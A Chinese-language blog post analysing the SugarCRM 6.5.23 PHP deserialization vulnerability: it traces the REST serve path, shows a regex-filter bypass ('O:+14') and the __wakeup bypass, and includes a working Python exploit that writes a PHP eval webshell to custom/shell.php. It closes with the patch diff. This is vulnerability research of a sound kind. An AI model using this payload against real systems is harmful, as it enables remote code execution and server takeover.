朝花夕拾|勿忘初心 朝花夕拾|勿忘初心

SugarCRM v6.5.23 PHP反序列化对象注入漏洞分析

in 漏洞分析 read (981) 1303汉字 站长Lucifaer 文章转载请注明来源!

免费广告.....推荐使用PHPSTORM+Xdebug来分析漏洞,下面的过程都是利用PHPSTORM来分析的。

这个是个去年的洞,当时出了的时候就仔细看了一下CVE-2016-7124(后面的班级对抗赛还出了一个关于这个漏洞的题),但是没有仔细的分析过在SugarCRM中的触发过程,或许是当时有点忙吧,或许是自己从404回来后缺乏了及时分析漏洞的氛围,整天忙于较为鸡肋课业,导致昏昏沉沉的荒废了一个学期。寒假的时候突然想着把那些没有分析过的漏洞再分析一遍,算是弥补遗憾吧。

就像上面说的,这洞是去年九月份爆出来的,正规的分析文档可以看由创宇小伙伴写的漏洞分析文档。我下面写的是我个人对于这个漏洞的一点分析过程,主要是从漏洞挖掘和漏洞分析来看一下这个洞。

0x00 漏洞概述

1. 漏洞简介

SugarCRM是一套开源的客户关系管理系统。在<6.5.23版本中存在反序列化漏洞,攻击者可以通过构造恶意序列化数据,达到任意代码执行的目的。

2. 漏洞影响版本

SugarCRM <= 6.5.23
PHP5 < 5.6.25
PHP7 < 7.0.10

0x01 漏洞复现

Dockerfile看小伙伴的吧,拖到phpstudy里也行= =。

0x02 漏洞分析

找到可控点

首先在service/core/REST/SugarRestSerialize.php中的serve函数:

function serve(){
        $GLOBALS['log']->info('Begin: SugarRestSerialize->serve');
        $data = !empty($_REQUEST['rest_data'])? $_REQUEST['rest_data']: '';
        if(empty($_REQUEST['method']) || !method_exists($this->implementation, $_REQUEST['method'])){
            $er = new SoapError();
            $er->set_error('invalid_call');
            $this->fault($er);
        }else{
            $method = $_REQUEST['method'];
            $data = sugar_unserialize(from_html($data));
            if(!is_array($data))$data = array($data);
            $GLOBALS['log']->info('End: SugarRestSerialize->serve');
            return call_user_func_array(array( $this->implementation, $method),$data);
        } // else
    } // fn

$data = !empty($_REQUEST['rest_data'])? $_REQUEST['rest_data']: '';传入可控参数,代码写的很简单,在传入sugar_unserialize方法前,首先将传入参数传入from_html方法中,而这个方法是用来进行编码转换的,可以看一下:

function from_html($string, $encode=true) {
    if (!is_string($string) || !$encode) {
        return $string;
    }

    global $toHTML;
    static $toHTML_values = null;
    static $toHTML_keys = null;
    static $cache = array();
    if (!empty($toHTML) && is_array($toHTML) && (!isset($toHTML_values) || !empty($GLOBALS['from_html_cache_clear']))) {
        $toHTML_values = array_values($toHTML);
        $toHTML_keys = array_keys($toHTML);
    }

    // Bug 36261 - Decode &amp; so we can handle double encoded entities
    $string = str_ireplace("&amp;", "&", $string);

    if (!isset($cache[$string])) {
        $cache[$string] = str_ireplace($toHTML_values, $toHTML_keys, $string);
    }
    return $cache[$string];
}

小窍门,对于这样的方法,其实可以往上面翻一翻,看一看关于这个方法的注释....额,就是这样,直接过....

/**
 * Replaces specific HTML entity values with the true characters
 * @param string $string String to check/replace
 * @param bool $encode Default true
 * @return string
 */

重点看一下sugar_unserialize方法,PHPSTORM的话,直接圈住这个方法名,Command+B就跳转到该方法了:

/**
 * Performs unserialization. Accepts all types except Objects
 *
 * @param string $value Serialized value of any type except Object
 * @return mixed False if Object, converted value for other cases
 */
function sugar_unserialize($value)
{
    preg_match('/[oc]:\d+:/i', $value, $matches);

    if (count($matches)) {
        return false;
    }

    return unserialize($value);
}

可以看到注释中写到的是,(翻译)执行反序列化。接受除对象外的所有类型,读一下正则,可以看到只是过滤了o:123这样的形式,但是并没有过滤完整,可以通过o:+123123的方式绕过。

不难发现,如果我们想要利用这个漏洞,需要传入rest_datamethodserve函数的作用就是在实施代码的类中调用指定的方法,并且返回结果。

顺着这个思路找一下哪里调用我们的serve方法。这个时候看一下目录结构,发现我们找到的漏洞触发点在/service/core/REST目录下:

打开v2v3v4中的一个目录中的rest.php文件,发现这是不同版本rest的入口文件,主要提供了sugarcrmwebserver服务。

这边说的是看目录结构的思路,其实比较简单的方法就是全局搜索service/core/,来查看哪些地方require了该文件,配合查看目录结构,非常的方便。

在这里我们可以想到整个service目录就是提供网络服务的目录,跟一下rest.php中的代码:

chdir('../..');
require_once('SugarWebServiceImplv4.php');
$webservice_class = 'SugarRestService';
$webservice_path = 'service/core/SugarRestService.php';
$webservice_impl_class = 'SugarWebServiceImplv4';
$registry_class = 'registry';
$location = '/service/v4/rest.php';
$registry_path = 'service/v4/registry.php';
require_once('service/core/webservice.php');

前面都是一些变量的初始化,直接跟进service/core/webservice.php

ob_start();
chdir(dirname(__FILE__).'/../../');
require('include/entryPoint.php');
require_once('soap/SoapError.php');
require_once('SoapHelperWebService.php');
require_once('SugarRestUtils.php');
require_once($webservice_path);
require_once($registry_path);
if(isset($webservice_impl_class_path))
    require_once($webservice_impl_class_path);
$url = $GLOBALS['sugar_config']['site_url'].$location;
$service = new $webservice_class($url);
$service->registerClass($registry_class);
$service->register();
$service->registerImplClass($webservice_impl_class);

// set the service object in the global scope so that any error, if happens, can be set on this object
global $service_object;
$service_object = $service;

$service->serve();

根据前面的变量定义,这里我们可以明显的看出调用关系:

$url = ip地址/service/v4/rest.php
$service = new SugarRestService($url)

跟进service/core/SugarRestService.php

function __construct($url){
        $GLOBALS['log']->info('Begin: SugarRestService->__construct');
        $this->restURL = $url;

        $this->responseClass = $this->_getTypeName(@$_REQUEST['response_type']);
        $this->serverClass = $this->_getTypeName(@$_REQUEST['input_type']);
        $GLOBALS['log']->info('SugarRestService->__construct serverclass = ' . $this->serverClass);
        require_once('service/core/REST/'. $this->serverClass . '.php');
        $GLOBALS['log']->info('End: SugarRestService->__construct');
    }

看一下_getTypeName

protected function _getTypeName($name)
    {
        if(empty($name)) return 'SugarRest';

        $name = clean_string($name, 'ALPHANUM');
        $type = '';
        switch(strtolower($name)) {
            case 'json':
                $type = 'JSON';
                break;
            case 'rss':
                $type = 'RSS';
                break;
            case 'serialize':
                $type = 'Serialize';
                break;
        }
        $classname = "SugarRest$type";
        if(!file_exists('service/core/REST/' . $classname . '.php')) {
            return 'SugarRest';
        }
        return $classname;
    }

在这里可以通过构造input_type = serialize来使$this->serverClass = SugarRestSerialize,接下来:

$service->registerClass($registry_class);
$service->register();
$service->registerImplClass($webservice_impl_class);

SugarRestSerialize类进行注册,在这三个函数调用的过程中在registerImplClass方法中:

$this->server = new $this->serverClass($this->implementation);

在最后调用$service->serve();中:

function serve(){
        $GLOBALS['log']->info('Begin: SugarRestService->serve');
        require_once('service/core/REST/'. $this->responseClass . '.php');
        $response  = $this->responseClass;

        $responseServer = new $response($this->implementation);
        $this->server->faultServer = $responseServer;
        $responseServer->faultServer = $responseServer;
        $responseServer->generateResponse($this->server->serve());
        $GLOBALS['log']->info('End: SugarRestService->serve');
    }

其中$responseServer->generateResponse($this->server->serve());也就是调用了SugarRestSerialize.php中的serve方法,从而将我们构造好的序列化参数传递过去。

漏洞触发点

从上面的分析中,我们已经知道了从哪里传入构造的序列化,传输过程。现在需要找的就是漏洞利用点,也就是漏洞触发点。

我们都知道现在只需要在序列化参数中传入需要反序列化的文件名,以及方法名,就可以将构造好的poc传递过去。

关于找漏洞触发点,可以全局搜索危险函数名,以及通读代码来完成(耗费很多时间,并且没有一定的经验容易乱)。

include/SugarCache/SugarCacheFile.php找到漏洞利用点:

public function __destruct()  
{
    parent::__destruct();

    if ( $this->_cacheChanged )
        sugar_file_put_contents(sugar_cached($this->_cacheFileName), serialize($this->_localStore));
}

/**
* This is needed to prevent unserialize vulnerability
*/
public function __wakeup()  
{
    // clean all properties
    foreach(get_object_vars($this) as $k => $v) {
        $this->$k = null;
    }
    throw new Exception("Not a serializable object");
}

可以看到在__wakeup魔术方法中,会将我们传递过来的数据清零,现在需要绕过该魔术方法,利用构造的序列化参数实现__destrcut中的写操作,绕过方法利用的就是CVE-2016-7124

在来看一下sugar_file_put_contents

function sugar_file_put_contents($filename, $data, $flags=null, $context=null){  
    //check to see if the file exists, if not then use touch to create it.
    if(!file_exists($filename)){
        sugar_touch($filename);
    }

    if ( !is_writable($filename) ) {
        $GLOBALS['log']->error("File $filename cannot be written to");
        return false;
    }

    if(empty($flags)) {
        return file_put_contents($filename, $data);
    } elseif(empty($context)) {
        return file_put_contents($filename, $data, $flags);
    } else{
        return file_put_contents($filename, $data, $flags, $context);
    }
}

函数并没有对文件内容或者扩展名等进行限制,虽然参数$data是serialize($this->_localStore),也就是序列化后的数据,但是我们可以设置$_this->_localStore为一个数组,把payload作为数组中的一个值,就可以完整保存payload。(反正就是执行一个写操作,php序列化数组后并不会对数组的值进行干扰)

所以,传入一个SugarCacheFile对象,并设置其属性的值,就能进行写文件操作。

demo的话:

import requests as req

url = 'http://127.0.0.1:8788/service/v4/rest.php'

data = {  
    'method': 'login',
    'input_type': 'Serialize',
    'rest_data': 'O:+14:"SugarCacheFile":23:{S:17:"\\00*\\00_cacheFileName";s:15:"../custom/shell.php";S:16:"\\00*\\00_cacheChanged";b:1;S:14:"\\00*\\00_localStore";a:1:{i:0;s:29:"<?php eval($_POST[\'Lucifaer\']); ?>";}}',
}
req.post(url, data=data)

shell在custom/shell.php

恩,就是这样了。

0x03 补丁diff

在v6.5.24中,对sugar_unserialize进行了如下改进:

function sugar_unserialize($value)  
{
    preg_match('/[oc]:[^:]*\d+:/i', $value, $matches);
    if (count($matches)) {
        return false;
    }
    return unserialize($value);
}

经过了前面的分析,可以看到对象类型的序列化参数无法禁止反序列化了。

0x04 修复方案

升级SugarCRM到最新版本

对于php版本的升级并不是很建议,因为在一些高版本的php上,环境搭建可能会出现问题。

php漏洞分析
最后由Lucifaer修改于2017-06-01 00:25

此处评论已关闭

博客已萌萌哒运行
© 2018 由 Typecho 强力驱动.Theme by Yodu
PREVIOUS NEXT
雷姆
拉姆